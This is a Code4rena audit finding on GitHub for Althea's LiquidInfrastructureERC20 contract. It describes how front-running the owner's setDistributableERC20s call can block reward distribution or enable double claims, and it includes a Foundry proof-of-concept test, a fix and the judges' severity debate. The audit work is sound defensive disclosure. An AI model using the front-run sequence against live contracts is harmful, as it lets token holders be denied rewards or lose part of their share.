search

code-423n4 / 2024-02-althea-liquid-infrastructure-findings

3 stars 1 forks source link

Distribution can be bricked, and double claims by a few holders are possible when owner calls `LiquidInfrastructureERC20::setDistributableERC20s` #87

Open c4-bot-3 opened 9 months ago

c4-bot-3 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L222

Vulnerability details

Impact

Double claim, DOS by bricking distribution, few holders can lose some rewards due to missing validation of distribution timing when owner calling LiquidInfrastructureERC20::setDistributableERC20s.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

This issue will be impact on following ways :

when a new token is accepted by any nft it should be added as a desirable token, or a new managerNFT with a new token, then also LiquidInfrastructureERC20::setDistributableERC20s  has to be called to distribute the rewards. so when owner calls LiquidInfrastructureERC20::setDistributableERC20s which adds a new token as desired token,

  1. Bricking distrubution to holders: Check the POC for proof      when a new token is added, we can expect revert when     - the number of desirable tokens length array is increased     - an attacker can frontrun and distribute to only one holder , so erc20EntitlementPerUnit is now  changed     - Now the actual owner tx is processed, which increases/decreases the size of distributableERC20s array.     - But now distribution is not possible because the Out of Bound revert on the distribution function because distributableERC20s array is changed, but erc20EntitlementPerUnit array size is same before the distributableERC20s array is modified.
            for (uint j = 0; j < distributableERC20s.length; j++) {
                uint256 entitlement = erc20EntitlementPerUnit[j] *  this.balanceOf(recipient);
                if (IERC20(distributableERC20s[j]).transfer(recipient, entitlement)) {
                    receipts[j] = entitlement;
                }
            }

   

  1. Double claim by a holder:  so some holder can DOS by     - A last holder of the 10 holders array frontrun  this owner tx (setDistributableERC20s) and calls LiquidInfrastructureERC20::distribute with 90% of the holders count as params, so all the rewards of old desirable tokens will be distributed to 9 holders.     - Now after the owners action, backrun it to distribute to the last holder, which will also receive new token as rewards.     - The previous holders can also claim their share in the next distribution round, but the last holder also can claim which makes double claim possible, which takes a cut from all other holders.

  2. if owner calls LiquidInfrastructureERC20::setDistributableERC20s which removes some token, then any token balance in the contract will be lost until the owner re-adds the token, and it can be distributed again.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;

import {Test, console2} from "forge-std/Test.sol";
import {LiquidInfrastructureERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract AltheaTest is Test {
    function setUp() public {}

    function test_POC() public {
        // setup
        LiquidInfrastructureNFT nft = new LiquidInfrastructureNFT("LP");
        address[] memory newErc20s = new address[](1);
        uint256[] memory newAmounts = new uint[](1);
       
        ERC20 DAI = new ERC20("DAI", "DAI");
        ERC20 USDC = new ERC20("USDC", "USDC");

        string memory _name = "LP";
        string memory _symbol = "LP";
        uint256 _minDistributionPeriod = 5;
        address[] memory _managedNFTs = new address[](1);
        address[] memory _approvedHolders = new address[](2);
        address[] memory _distributableErc20s = new address[](1);

        _managedNFTs[0] = address(nft);
        _approvedHolders[0] = address(1);
        _approvedHolders[1] = address(2);
        _distributableErc20s[0] = address(DAI);

        newErc20s[0] = address(DAI);
        nft.setThresholds(newErc20s, newAmounts);
        LiquidInfrastructureERC20 erc = new  LiquidInfrastructureERC20(
            _name, _symbol, _managedNFTs, _approvedHolders, _minDistributionPeriod, _distributableErc20s);
        erc.mint(address(1), 100e18);
        erc.mint(address(2), 100e18);

        // issue ==  change in desirable erc20s
        _distributableErc20s = new address[](2);
        _distributableErc20s[0] = address(DAI);
        _distributableErc20s[1] = address(USDC);
        newAmounts = new uint[](2);
        newErc20s = new address[](2);
        newErc20s[0] = address(DAI);
        newErc20s[1] = address(USDC);
        nft.setThresholds(newErc20s, newAmounts);

        deal(address(DAI), address(erc), 1000e18);
        deal(address(USDC), address(erc), 1000e18);
        vm.roll(block.number + 100);

        // frontrun tx
        erc.distribute(1);

        // victim tx
        erc.setDistributableERC20s(_distributableErc20s);

        // backrun tx
        vm.roll(block.number + _minDistributionPeriod);
        vm.expectRevert(); // Index out of bounds
        erc.distribute(1);
    }

}

Tools Used

Manual review + foundry testing

Recommended Mitigation Steps

Modify LiquidInfrastructureERC20::setDistributableERC20s to only change the desirable tokens after a potential distribution for fair reward sharing.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
+       require(!_isPastMinDistributionPeriod(), "set only just after distribution");
        distributableERC20s = _distributableERC20s;
    }

Assessed type

DoS

c4-pre-sort commented 9 months ago

0xRobocop marked the issue as duplicate of #151

c4-pre-sort commented 9 months ago

0xRobocop marked the issue as duplicate of #260

c4-judge commented 9 months ago

0xA5DF marked the issue as satisfactory

c4-judge commented 9 months ago

0xA5DF marked the issue as selected for report

0xA5DF commented 9 months ago

Changing to med since setDistributableERC20s() is a function rarely called, and this would only be relevant if we're after min distribution period has passed since the last distribution.

c4-judge commented 9 months ago

0xA5DF changed the severity to 2 (Med Risk)

mcgrathcoutinho commented 9 months ago

Hi @0xA5DF, I think this issue should be invalid.

This issue arises solely due to owner misbehaviour/error, which is a centralization risk and should be included in analysis reports. Changing the configuration of distributable ERC20 tokens in the middle of the distribution period is the owner's fault and not expected behaviour.

Please consider re-evaluating this issue, thank you.

0xA5DF commented 9 months ago

The submission talks about a scenario where the owner sent out the tx when there was no distribution going on and a malicious actor front runs it. This is a likely scenario and isn't due to an error on the admin side (the admin can prevent this by running distribution first, but there's no way for the average admin to guess that running this tx without distributing first would cause any issues). Therefore I'm maintaining med severity.